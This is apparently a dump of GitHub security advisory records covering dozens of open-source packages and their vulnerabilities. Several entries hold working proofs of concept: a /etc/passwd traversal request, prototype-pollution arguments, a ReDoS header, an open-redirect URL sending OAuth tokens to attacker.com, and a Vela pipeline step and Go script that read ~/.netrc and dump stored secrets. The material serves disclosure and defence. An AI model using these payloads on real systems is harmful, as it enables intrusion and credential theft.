TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-wv26-rj8c-4r33
Summary: Moderate severity vulnerability that affects auth0-js
Aliases: CVE-2018-6874
Severity: HIGH
CVSS score: 8.8
CWE: CWE-352
Published: 2018-11-06T23:15:13Z

CSRF exists in the Auth0 authentication service through 14591 if the Legacy Lock API flag is enabled.
Vulnerability: GHSA-hqc8-j86x-2764
Summary: Off-by-one error in simple-slab
Aliases: CVE-2020-35893
Severity: HIGH
CVSS score: 7.5
CWE: CWE-193
Published: 2021-08-25T20:48:33Z

An issue was discovered in the simple-slab crate before 0.3.3 for Rust. remove() has an off-by-one error, causing memory leakage and a drop of uninitialized memory.
Vulnerability: GHSA-8w65-xjc5-9w79
Summary: Cross-Site Scripting in node-red
Aliases: CVE-2019-15607
Severity: MODERATE
CVSS score: 0
CWE: CWE-79
Published: 2020-01-30T21:00:21Z

Versions of `node-red` prior to 0.20.8are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize the `name` field in new Flows, allowing attackers to execute arbitrary JavaScript in the victim's browser.


## Recommendation

Upgrade to version 0.18.6 or later.
Vulnerability: GHSA-qqxw-m5fj-f7gv
Summary: The pattern '/\domain.com' is not disallowed when redirecting, allowing for open redirect
Aliases: CVE-2020-5233
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-601
Published: 2021-12-20T18:02:38Z

### Impact
An open redirect vulnerability has been found in `oauth2_proxy`. Anyone who uses `oauth2_proxy` may potentially be impacted. 

For a context [detectify] have an in depth blog post about the potential impact of an open redirect. Particularly see the OAuth section.

**tl;dr**: People's authentication tokens could be silently harvested by an attacker. e.g:
`facebook.com/oauth.php?clientid=123&state=abc&redirect_url=https://yourdomain.com/red.php?url%3dhttps://attacker.com/`

### Patches

@sauyon found the issue, and has submitted a patch. 

```
diff --git a/oauthproxy.go b/oauthproxy.go
index 72ab580..f420df6 100644
--- a/oauthproxy.go
+++ b/oauthproxy.go
@@ -517,7 +517,7 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)
 // IsValidRedirect checks whether the redirect URL is whitelisted
 func (p *OAuthProxy) IsValidRedirect(redirect string) bool {
 	switch {
-	case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//"):
+	case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//") && !strings.HasPrefix(redirect, "/\\"):
 		return true
 	case strings.HasPrefix(redirect, "http://") || strings.HasPrefix(redirect, "https://"):
 		redirectURL, err := url.Parse(redirect)
```

This patch will be applied to the next release, which is scheduled for when this is publicly disclosed.

### Workarounds

At this stage there is no work around.
Vulnerability: GHSA-553q-hpvp-q8pc
Summary: Server-Side Request Forgery in snipe/snipe-it
Aliases: CVE-2021-4075
Severity: HIGH
CVSS score: 7.2
CWE: CWE-918
Published: 2021-12-10T20:22:15Z

Admin users on the external network can perform blind POST-based SSRF (issue requests on behalf of the server into the internal network) via the Slack Integration. This vulnerability is capable of port-scanning of the internal network, issue POST requests to web servers on the internal network which can be escalated to higher-impact.
Vulnerability: GHSA-4jqc-8m5r-9rpr
Summary: Prototype Pollution in set-value
Aliases: CVE-2021-23440
Severity: HIGH
CVSS score: 7.3
CWE: CWE-843, CWE-1321
Published: 2021-09-13T20:09:36Z

This affects the package `set-value` before 2.0.1, and starting with 3.0.0 but prior to 4.0.1. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.
Vulnerability: GHSA-cpqf-3c3r-c9g2
Summary: Cobbler before 3.3.0 allows log poisoning
Aliases: CVE-2021-40323
Severity: HIGH
CVSS score: 0
CWE: CWE-94
Published: 2021-10-05T17:53:20Z

Cobbler before 3.3.0 allows log poisoning, and resultant Remote Code Execution, via an XMLRPC method that logs to the logfile for template injection.
Vulnerability: GHSA-gjq4-69wj-p6pr
Summary: Path traversal in pimcore
Aliases: CVE-2022-0665
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-22
Published: 2022-02-23T00:00:59Z

The application doesn't perform a check/filter against the value of "importFile" parameter at endpoint "/admin/translation/import". After the API is executed, PHP unlink function will proceed to delete the file.
Vulnerability: GHSA-83r3-c79w-f6wc
Summary: High severity vulnerability that affects org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service
Aliases: CVE-2015-7521
Severity: HIGH
CVSS score: 8.3
CWE: CWE-287
Published: 2018-11-21T22:23:49Z

The authorization framework in Apache Hive 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.2.0 and 1.2.1, on clusters protected by Ranger and SqlStdHiveAuthorization, allows attackers to bypass intended parent table access restrictions via unspecified partition-level operations.
Vulnerability: GHSA-vh95-rmgr-6w4m
Summary: Prototype Pollution in minimist
Aliases: CVE-2020-7598
Severity: MODERATE
CVSS score: 5.6
CWE: CWE-1321
Published: 2020-04-03T21:48:32Z

Affected versions of `minimist` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  
Parsing the argument `--__proto__.y=Polluted` adds a `y` property with value `Polluted` to all objects. The argument `--__proto__=Polluted` raises and uncaught error and crashes the application.  
This is exploitable if attackers have control over the arguments being passed to `minimist`.



## Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.
Vulnerability: GHSA-h698-r4hm-w94p
Summary: Validation Bypass in paypal-ipn
Aliases: CVE-2014-10067
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-287
Published: 2020-08-31T22:54:56Z

Versions 2.x.x and earlier of `paypal-ipn` are affected by a validation bypass vulnerability. 

paypal-ipn uses the `test_ipn` parameter (which is set by the PayPal IPN simulator) to determine if it should use the production PayPal site or the sandbox.

A motivated attacker could craft a request string using the simulator to fool the application into entering the sandbox mode, potentially allowing purchases without valid payment.


## Recommendation

Upgrade to version 3.0.0 or later.
Vulnerability: GHSA-j67m-jg9p-ppg4
Summary: Malicious Package in ns-sha3
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T23:18:05Z

Version 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-g6wq-qcwm-j5g2
Summary: Regular Expression Denial of Service in websocket-extensions (RubyGem)
Aliases: CVE-2020-7663
Severity: HIGH
CVSS score: 8.2
CWE: CWE-400
Published: 2020-06-05T14:21:29Z

### Impact

The ReDoS flaw allows an attacker to exhaust the server's capacity to process
incoming requests by sending a WebSocket handshake request containing a header
of the following form:

    Sec-WebSocket-Extensions: a; b="\c\c\c\c\c\c\c\c\c\c ...

That is, a header containing an unclosed string parameter value whose content is
a repeating two-byte sequence of a backslash and some other character. The
parser takes exponential time to reject this header as invalid, and this will
block the processing of any other work on the same thread. Thus if you are
running a single-threaded server, such a request can render your service
completely unavailable.

### Patches

Users should upgrade to version 0.1.5.

### Workarounds

There are no known work-arounds other than disabling any public-facing
WebSocket functionality you are operating.

### References

- https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/
Vulnerability: GHSA-3f8r-4qwm-r7jf
Summary: Improper Authentication in Apache Traffic Control
Aliases: CVE-2019-12405
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-287
Published: 2021-05-18T15:39:16Z

Improper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password.
Vulnerability: GHSA-2gjg-5x33-mmp2
Summary: Path Traversal in localhost-now
Aliases: CVE-2018-3729
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2018-07-25T22:44:05Z

Versions of `localhost-now` before 1.0.2 are vulnerable to path traversal. This allows a remote attacker to read the content of an arbitrary file.


## Recommendation

Update to version 1.0.2 or later.
Vulnerability: GHSA-62jx-8vmh-4mcw
Summary: Path trav in tar
Aliases: CVE-2021-38511
Severity: HIGH
CVSS score: 7.5
CWE: CWE-22
Published: 2021-08-25T20:58:23Z

An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.
Vulnerability: GHSA-gv26-jpj9-c8gq
Summary: Incomplete validation in `SparseSparseMinimum`
Aliases: CVE-2021-29607
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-754
Published: 2022-03-18T17:52:25Z

### Impact
Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

```python 
import tensorflow as tf

a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf.ones([1, 1], dtype=tf.int64)
b_values = tf.ones([1], dtype=tf.int64)
b_shape = tf.ones([1], dtype=tf.int64)
                    
tf.raw_ops.SparseSparseMinimum(a_indices=a_indices,
    a_values=a_values,
    a_shape=a_shape,
    b_indices=b_indices,
    b_values=b_values,
    b_shape=b_shape)
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_sparse_binary_op_shared.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.

### Patches 
We have patched the issue in GitHub commit [ba6822bd7b7324ba201a28b2f278c29a98edbef2](https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2) followed by GitHub commit [f6fde895ef9c77d848061c0517f19d0ec2682f3a](https://github.com/tensorflow/tensorflow/commit/f6fde895ef9c77d848061c0517f19d0ec2682f3a).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Vulnerability: GHSA-x5pg-88wf-qq4p
Summary: Regular Expression Denial of Service in marked
Aliases: CVE-2017-16114
Severity: HIGH
CVSS score: 0
CWE: CWE-400
Published: 2018-07-24T20:10:52Z

Affected versions of `marked` are vulnerable to a regular expression denial of service. 

The amplification in this vulnerability is significant, with 1,000 characters resulting in the event loop being blocked for around 6 seconds.


## Recommendation

Update to version 0.3.9 or later.
Vulnerability: GHSA-m69q-pmxg-vqch
Summary: Directory Traversal in cypserver
Aliases: CVE-2017-16191
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2020-09-01T18:26:00Z

Affected versions of `cypserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-m7p8-9w66-9frm
Summary: Moderate severity vulnerability that affects net-ldap
Aliases: CVE-2017-17718
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-295
Published: 2018-01-06T01:11:34Z

The Net::LDAP (aka net-ldap) gem before 0.16.0 for Ruby has Missing SSL Certificate Validation.
Vulnerability: GHSA-7xf6-cpxm-5mx9
Summary: Malicious Package in bufner-xor
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T22:27:18Z

Version 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-73xv-w5gp-frxh
Summary: Logic error in Legion of the Bouncy Castle BC Java
Aliases: CVE-2020-28052
Severity: HIGH
CVSS score: 8.1
CWE: CWE-670
Published: 2021-04-30T16:14:15Z

An issue was discovered in Legion of the Bouncy Castle BC Java 1.65 and 1.66. The OpenBSDBCrypt.checkPassword utility method compared incorrect data when checking the password, allowing incorrect passwords to indicate they were matching with previously hashed ones that were different.
Vulnerability: GHSA-r7c9-c69m-rph8
Summary: Code Injection in PHPUnit
Aliases: CVE-2017-9841
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-94
Published: 2022-03-26T00:19:30Z

Util/PHP/eval-stdin.php in PHPUnit starting with 4.8.19 and before 4.8.28, as well as 5.x before 5.6.3, allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a `<?php ` substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
Vulnerability: GHSA-hxf5-mg84-pj4m
Summary: Moderate severity vulnerability that affects moment
Severity: MODERATE
CVSS score: 0
Published: 2018-07-31T23:03:17Z

Withdrawn, accidental duplicate publish.

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
Vulnerability: GHSA-jh2m-j8pp-55rc
Summary: Prototype Pollution in gedi
Aliases: CVE-2020-7727
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-1321
Published: 2021-05-06T18:12:47Z

All versions of package gedi up to and including version 1.6.3 are vulnerable to Prototype Pollution via the set function.
Vulnerability: GHSA-2j55-pcw5-x4h2
Summary: Critical severity vulnerability that affects active-support
Aliases: CVE-2018-3779
Severity: CRITICAL
CVSS score: 0
CWE: CWE-77
Published: 2018-08-13T15:02:49Z

The `active-support` ruby gem gem is malware and duplicates the official `activesupport` (no hyphen) gem, but adds a compiled extension. The extension attempts to resolve a base64 encoded domain (29faea63.planfhntage.de), downloads a payload, and executes.
 
This trojan horse gem could allow a remote attacker to execute arbitrary code on the system, caused by containing a malicious backdoor. An attacker could exploit this vulnerability to execute arbitrary code on the system.  No version of this gem should be considered safe.
Vulnerability: GHSA-8j3f-mhq8-gmh4
Summary: Reject unauthorized access with GitHub PATs
Aliases: CVE-2021-21432
Severity: HIGH
CVSS score: 7.5
CWE: CWE-863, CWE-285
Published: 2022-02-15T01:57:18Z

### Impact
_What kind of vulnerability is it? Who is impacted?_

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce

1. Create Vela server
2. Login to Vela UI
3. Promote yourself to Vela administrator 
    - `UPDATE users SET admin = 't' WHERE name = <username>`
4. Activate repository within Vela
5. Add `.vela.yml` to the repository with the following content

    
    ```yaml
    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    ```

1. Look at build logs to find the following content

    ```
    $ cat ~/.netrc
    machine <GITHUB URL>
    login x-oauth-basic
    password <token>
    ```

1. Copy the password to be utilized in some later step
1. Add secret(s) to activated repo
1. Copy the following script into `main.go`

    ```golang
    package main
    
    import (
	    "fmt"
	    "github.com/go-vela/sdk-go/vela"
	    "os"
    )
    
    func main() {
	    // create client to connect to vela
	    client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
	    if err != nil {
		    panic(err)
	    }
    
	    // add PAT to request
	    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
	    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
	    if err != nil {
		    panic(err)
	    }
    
	    for _, secret := range *secrets {
		    fmt.Println(*secret.Name)
		    fmt.Println(*secret.Value)
	    }
    }
    ```

1. Run the `main.go` with environment specific settings
   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

* Upgrade to `v0.7.5` or later

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

* No known workarounds

### References
_Are there any links users can visit to find out more?_

* https://github.com/go-vela/server/pull/246
* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

### For more information
If you have any questions or comments about this advisory

* Email us at [vela@target.com](mailto:vela@target.com)
Vulnerability: GHSA-f3mq-99jr-ww4r
Summary: Multiple mutable pointers in cgc
Aliases: CVE-2020-36467
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-657
Published: 2021-08-25T20:56:16Z

Affected versions of this crate have the following issues:

1. `Ptr` implements `Send` and `Sync` for all types, this can lead to data
   races by sending non-thread safe types across threads.

2. `Ptr::get` violates mutable alias rules by returning multiple mutable
   references to the same object.

3. `Ptr::write` uses non-atomic writes to the underlying pointer. This means
   that when used across threads it can lead to data races.
Vulnerability: GHSA-c36v-fmgq-m8hx
Summary: Prototype Pollution in immer
Aliases: CVE-2021-3757
Severity: HIGH
CVSS score: 7.5
CWE: CWE-1321, CWE-915
Published: 2021-09-07T22:57:14Z

immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerability: GHSA-vwhc-pww7-72x6
Summary: Code Injection in total.js
Aliases: CVE-2021-32831
Severity: HIGH
CVSS score: 7.5
CWE: CWE-94
Published: 2021-09-01T18:24:05Z

Total.js framework (npm package total.js) is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. In total.js framework before version 3.4.9, calling the utils.set function with user-controlled values leads to code-injection. This can cause a variety of impacts that include arbitrary code execution. This is fixed in version 3.4.9.
Vulnerability: GHSA-73cq-fhp3-8rpw
Summary: Moderate severity vulnerability that affects org.restlet.jse:org.restlet
Aliases: CVE-2014-1868
Severity: MODERATE
CVSS score: 0
CWE: CWE-776
Published: 2018-10-17T00:04:53Z

Restlet Framework 2.1.x before 2.1.7 and 2.x.x before 2.2 RC1, when using XMLRepresentation or XML serializers, allows attackers to cause a denial of service via an XML Entity Expansion (XEE) attack.
Vulnerability: GHSA-7xfp-9c55-5vqj
Summary: Remote Memory Exposure in request
Aliases: CVE-2017-16026
Severity: MODERATE
CVSS score: 0
CWE: CWE-201
Published: 2018-11-09T17:44:01Z

Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.

## Proof of Concept

```
var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});
```


## Recommendation

Update to version 2.68.0 or later
Vulnerability: GHSA-959q-32g8-vvp7
Summary: Moderate severity vulnerability that affects org.keycloak:keycloak-core
Aliases: CVE-2017-12161
Severity: MODERATE
CVSS score: 0
CWE: CWE-602
Published: 2018-10-18T16:50:05Z

It was found that keycloak before 3.4.2 final would permit misuse of a client-side /etc/hosts entry to spoof a URL in a password reset request. An attacker could use this flaw to craft a malicious password reset request and gain a valid reset token, leading to information disclosure or further attacks.
Vulnerability: GHSA-m6w8-fq7v-ph4m
Summary: GovernorCompatibilityBravo incorrect ABI encoding may lead to unexpected behavior
Severity: MODERATE
CVSS score: 0
Published: 2022-01-13T16:09:36Z

### Impact

The `GovernorCompatibilityBravo` module may lead to the creation of governance proposals that execute function calls with incorrect arguments due to bad ABI encoding. This happens if the proposal is created using explicit function signatures, e.g. a proposal to invoke the function `foo(uint256)` is created as `propose([target], [0], ["foo(uint256)"], ["0x00..01"])`. If the function selector is provided as part of the encoded proposal data the issue is not present, e.g. the same proposal is created as `propose([target], [0], ["0x2fbebd3800..01"])`, where `2fbebd38` is the function selector.

We've assessed the instances of this contract found on chain, and did not find any occurrence of this bug in the past. Proposal creation through Tally or OpenZeppelin Defender is not affected. The core `Governor` contract on its own is not affected.

### Patches

A fix is included in version v4.4.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.

### Workarounds

Do not create proposals using explicit function signatures. Instead, use the `propose` function without the `signatures` argument, and create the proposal using the fully ABI-encoded function call including the function selector in the `calldatas` argument as explained above.

### References

https://github.com/OpenZeppelin/openzeppelin-contracts/issues/3099

### Credits

This issue was identified and reported by @GeraldHost.

### For more information

If you have any questions, comments, or need assistance regarding this advisory, email us at security@openzeppelin.com.

To submit security reports please use [our bug bounty on Immunefi](https://immunefi.com/bounty/openzeppelin/).
Vulnerability: GHSA-vcg5-9xw6-r56c
Summary: Malicious Package in logsymbles
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-02T21:40:49Z

Version 2.2.0 of `logsymbles` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-6mqq-8r44-vmjc
Summary: Low severity vulnerability that affects org.apache.spark:spark-core_2.10 and org.apache.spark:spark-core_2.11
Aliases: CVE-2018-1334
Severity: MODERATE
CVSS score: 4.7
CWE: CWE-200
Published: 2019-03-14T15:41:04Z

In Apache Spark 1.0.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, when using PySpark or SparkR, it's possible for a different local user to connect to the Spark application and impersonate the user running the Spark application.
Vulnerability: GHSA-h9ph-jcgh-gf69
Summary: Cross-site Scripting in Limesurvey
Aliases: CVE-2021-42112
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2021-10-12T16:40:28Z

The "File upload question" functionality in LimeSurvey 3.x-LTS through 3.27.18 allows XSS in assets/scripts/modaldialog.js and assets/scripts/uploader.js.
Vulnerability: GHSA-qgm6-9472-pwq7
Summary: Integer Overflow in openssl-src
Aliases: CVE-2021-23840
Severity: HIGH
CVSS score: 7.5
CWE: CWE-190
Published: 2021-08-25T20:52:19Z

Calls to EVP_CipherUpdate, EVP_EncryptUpdate and EVP_DecryptUpdate may overflow the output length argument in some cases where the input length is close to the maximum permissable length for an integer on the platform. In such cases the return value from the function call will be 1 (indicating success), but the output length value will be negative. This could cause applications to behave incorrectly or crash. OpenSSL versions 1.1.1i and below are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1j. OpenSSL versions 1.0.2x and below are affected by this issue. However OpenSSL 1.0.2 is out of support and no longer receiving public updates. Premium support customers of OpenSSL 1.0.2 should upgrade to 1.0.2y. Other users should upgrade to 1.1.1j. Fixed in OpenSSL 1.1.1j (Affected 1.1.1-1.1.1i). Fixed in OpenSSL 1.0.2y (Affected 1.0.2-1.0.2x).
Vulnerability: GHSA-4mvc-qc5w-v5qr
Summary: Information disclosure in the Contao back end
Aliases: CVE-2019-19712
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-276
Published: 2019-12-17T22:53:34Z

### Impact

Back end users can manipulate the details view URL to show pages and articles that have not been enabled for them.

### Patches

Update to Contao 4.4.46 or 4.8.6.

### Workarounds

None.

### References

https://contao.org/en/security-advisories/information-disclosure-in-the-back-end.html

### For more information

If you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).
Vulnerability: GHSA-wq6x-g685-w5f2
Summary: Improper Restriction of XML External Entity Reference in Plone
Aliases: CVE-2020-28734
Severity: HIGH
CVSS score: 8.8
CWE: CWE-611
Published: 2021-04-07T21:13:00Z

Plone before 5.2.3 allows XXE attacks via a feature that is explicitly only available to the Manager role.
Vulnerability: GHSA-xrr4-p6fq-hjg7
Summary: Directory traversal vulnerability in Action View in Ruby on Rails
Aliases: CVE-2016-0752
Severity: HIGH
CVSS score: 7.5
CWE: CWE-22
Published: 2017-10-24T18:33:35Z

Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.
Vulnerability: GHSA-fc42-h7q4-qp8h
Summary: Command Injection in killport
Aliases: CVE-2021-23360
Severity: HIGH
CVSS score: 7.5
CWE: CWE-77
Published: 2021-04-13T15:16:20Z

This affects the package killport before 1.0.2. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. Running this PoC will cause the command touch success to be executed, leading to the creation of a file called success.
Vulnerability: GHSA-frxp-xxx8-hrg6
Summary: Missing Authorization in DayByDay CRM
Aliases: CVE-2022-22108
Severity: MODERATE
CVSS score: 4.3
CWE: CWE-862
Published: 2022-01-08T00:31:52Z

In Daybyday CRM, versions 2.0.0 through 2.2.0 are vulnerable to Missing Authorization. An attacker that has the lowest privileges account (employee type user), can view the absences of all users in the system including administrators. This type of user is not authorized to view this kind of information.
Vulnerability: GHSA-7ph6-5cmq-xgjq
Summary: Path traversal in xwiki-platform-skin-skinx
Aliases: CVE-2022-23620
Severity: MODERATE
CVSS score: 6.8
CWE: CWE-22
Published: 2022-02-09T21:53:29Z

### Impact

AbstractSxExportURLFactoryActionHandler#processSx does not escape anything from SSX document reference when serializing it on filesystem, so it's easy to mess up the HTML export process with reference elements containing filesystem syntax like "../", "./". or "/" in general (the last two not causing any security threat, but can cause conflicts with others serialized files).

### Patches

Fixed in 13.6-rc-1

### Workarounds

* giving script or subwiki admin right only to trusted people
* disabling HTML/PDF export

### References

https://jira.xwiki.org/browse/XWIKI-18819

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [JIRA](https://jira.xwiki.org)
* Email us at [XWiki Security Mailing list](mailto:security@xwiki.org)
Vulnerability: GHSA-v3jv-wrf4-5845
Summary: Local Privilege Escalation in npm
Aliases: CVE-2013-4116
Severity: LOW
CVSS score: 0
CWE: CWE-59
Published: 2020-09-01T16:03:34Z

Affected versions of `npm` use predictable temporary file names during archive unpacking. If an attacker can create a symbolic link at the location of one of these temporary file names, the attacker can arbitrarily write to any file that the user which owns the `npm` process has permission to write to, potentially resulting in local privilege escalation.



## Recommendation

Update to version 1.3.3 or later.
Vulnerability: GHSA-69fv-gw6g-8ccg
Summary: Potential memory corruption in arrayfire
Aliases: CVE-2018-20998
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-119
Published: 2021-08-25T20:43:26Z

An issue was discovered in the arrayfire crate before 3.6.0 for Rust. Addition of the repr() attribute to an enum is mishandled, leading to memory corruption.
Vulnerability: GHSA-5pg7-v24c-9rp9
Summary: Prototype pollution in controlled-merge
Aliases: CVE-2020-28268
Severity: HIGH
CVSS score: 7.5
CWE: CWE-1321
Published: 2021-05-18T01:53:46Z

Prototype pollution vulnerability in 'controlled-merge' versions 1.0.0 through 1.2.0 allows attacker to cause a denial of service and may lead to remote code execution.
Vulnerability: GHSA-f85h-23mf-2fwh
Summary: Argument Injection in Ansible
Aliases: CVE-2020-1738
Severity: MODERATE
CVSS score: 3.9
CWE: CWE-88
Published: 2022-02-09T22:00:04Z

A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.
Vulnerability: GHSA-f7q6-xxph-mfm8
Summary: Cross-site Scripting in Pimcore
Aliases: CVE-2022-0251
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2022-01-27T00:01:26Z

Pimcore prior to version 10.2.10 contains a cross-site scripting vulnerability.
Vulnerability: GHSA-gchq-9r68-6jwv
Summary: Cross-Site Request Forgery in Jenkins Credentials Plugin
Aliases: CVE-2021-21648
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2021-06-16T17:24:31Z

Jenkins Credentials Plugin 2.3.18 and earlier does not escape user-controlled information on a view it provides, resulting in a reflected cross-site scripting (XSS) vulnerability.
Vulnerability: GHSA-hq8g-qq57-5275
Summary: SQL Injection in untitled-model
Severity: HIGH
CVSS score: 0
CWE: CWE-89
Published: 2020-09-11T21:24:33Z

All versions of `untitled-model` re vulnerable to SQL Injection. Query parameters are not properly sanitized allowing attackers to inject SQL statements and execute arbitrary SQL queries.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
Vulnerability: GHSA-pfjq-935c-4895
Summary: Data races in v9
Severity: MODERATE
CVSS score: 0
CWE: CWE-362
Published: 2021-08-25T21:00:37Z

Affected versions of this crate unconditionally implement `Sync` for `SyncRef<T>`.
This definition allows data races if `&T` is accessible through `&SyncRef`.

`SyncRef<T>` derives `Clone` and `Debug`, and the default implementations of those traits access `&T` by invoking `T::clone()` & `T::fmt()`. It is possible to create data races & undefined behavior by concurrently invoking `SyncRef<T>::clone()` or `SyncRef<T>::fmt()` from multiple threads with `T: !Sync`.
Vulnerability: GHSA-vm59-329q-p468
Summary: Cross-site Scripting in Apache UIMA
Aliases: CVE-2018-8035
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2019-05-14T04:00:37Z

This vulnerability relates to the user's browser processing of DUCC webpage input data.The javascript comprising Apache UIMA DUCC (<= 2.2.2) which runs in the user's browser does not sufficiently filter user supplied inputs, which may result in unintended execution of user supplied javascript code.
Vulnerability: GHSA-mq7g-6rv4-pj95
Summary: Downloads Resources over HTTP in embedza
Aliases: CVE-2016-10569
Severity: HIGH
CVSS score: 0
CWE: CWE-311
Published: 2019-02-18T23:35:23Z

Affected versions of `embedza` insecurely download an executable over an unencrypted HTTP connection. 

